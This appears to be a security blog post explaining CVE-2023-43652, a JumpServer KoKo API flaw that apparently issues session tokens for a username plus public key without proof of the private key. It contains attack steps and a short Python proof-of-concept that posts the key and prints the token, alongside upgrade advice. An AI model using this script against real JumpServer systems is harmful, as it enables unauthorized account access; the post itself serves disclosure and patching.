JumpServer is a popular open-source bastion host, used by organizations large and small to manage secure access to their internal systems over SSH. But in late 2023, a severe vulnerability was discovered: CVE-2023-43652. It’s a surprisingly straightforward flaw — and one that highlights the dangers of relying on public key authentication alone without proper verification steps.

This post breaks down CVE-2023-43652 in simple language. We’ll look at what happened, how an attack works step-by-step, see some sample code, and link to real references as proof.

What is JumpServer?

JumpServer is made so companies can control who can access sensitive computers (like servers) using SSH, RDP, or VNC. It acts as a middleman — known as a "bastion host" — between users and critical resources. Users typically authenticate with strong credentials and their SSH keys, and then JumpServer brokers those connections securely.

Official Repo: https://github.com/jumpserver/jumpserver

The Vulnerability: CVE-2023-43652

CVE-2023-43652 is a flaw in how JumpServer’s API handles SSH key authentication. Here are the core problems:

- JumpServer has a component called KoKo, which exposes APIs used to verify user logins with SSH key authentication.
- When a client sends a username and a public SSH key to this API, the API *does not check where the request came from*.
- Worse: *The API does not require the attacker to prove ownership of the matching private key.* It only checks that the public key is registered with the username.

Result: Anyone who knows a valid username and has access to that account’s public key can log in and generate a real session token — without the need to ever see the private key.

That’s like walking into a secure building and being let in because you know what your friend’s key card looks like, without having to show you actually have the card.

Attacker obtains a public key and username.

- Note: Public SSH keys are often easy to find or may be shared in documentation, Git repositories, pastes, or in the open if security hygiene is poor.

2. Attacker crafts a POST request to KoKo’s authentication API using the known username and public key.

3. JumpServer generates a session token and treats the attacker as authenticated, with all privileges tied to the username.

4. Attacker gains unauthorized access to sensitive data or actions, depending on the user’s permissions.

Sample Exploit Code

Let’s look at a direct example showing how an attacker could exploit the API.

Suppose the KoKo API endpoint is /api/v1/authentication/ssh, and expects JSON input.

import requests

# Target JumpServer API
API_URL = "https://jumpserver.example.com/koko/api/v1/authentication/ssh";

# Known username and public-key (commonly obtainable)
username = "alice"
ssh_public_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy..."

# Craft the payload
payload = {
    "username": username,
    "public_key": ssh_public_key
}

with requests.Session() as session:
    # Send POST request to authenticate
    resp = session.post(API_URL, json=payload, verify=False)
    if resp.ok:
        token = resp.json().get("token", None)
        print(f"Got token: {token}")
    else:
        print(f"Failed to authenticate: {resp.status_code} {resp.text}")

If successful, this script prints out a valid session token — all using public information.

Why Is This So Dangerous?

- Public keys (by design) are not secrets. They can be (and often are) exposed. They’re meant to *identify* owners, not *authenticate* without the private key.
- No password or proof-of-possession required. The vulnerability is like accepting a facsimile of a key as genuine, without checking that you actually possess the key.
- Simple to automate: Attackers can sweep large user databases, trying public keys until they succeed.

Any system where public keys were ever made available or shared.

- Installations where KoKo’s API is exposed to untrusted networks (the API does not check request sources!).

Upgrade to JumpServer 2.28.20, 3.7.1, or later.

- There are no safe workarounds — patch immediately. Restricting API access by network is not enough, as insider threats remain.

> JumpServer Release Notes and Advisory

References

- CVE Record on NIST
- GitHub Security Advisory
- Original Issue report (Chinese)

Conclusion

CVE-2023-43652 is a classic example of how security assumptions can fall apart. Relying on a public key as an authentication factor — without requiring proof-of-possession of the matching private key — turns secure systems into open targets.

If you run JumpServer, upgrade now. And remember: public keys are not secrets, and must never be used alone as an authentication proof.

If you found this post useful, please share it with your sysadmin or security friends who might still be at risk — and always keep your open source infrastructure up-to-date!

Timeline

Published on: 09/27/2023 19:15:12 UTC
Last modified on: 10/02/2023 18:37:17 UTC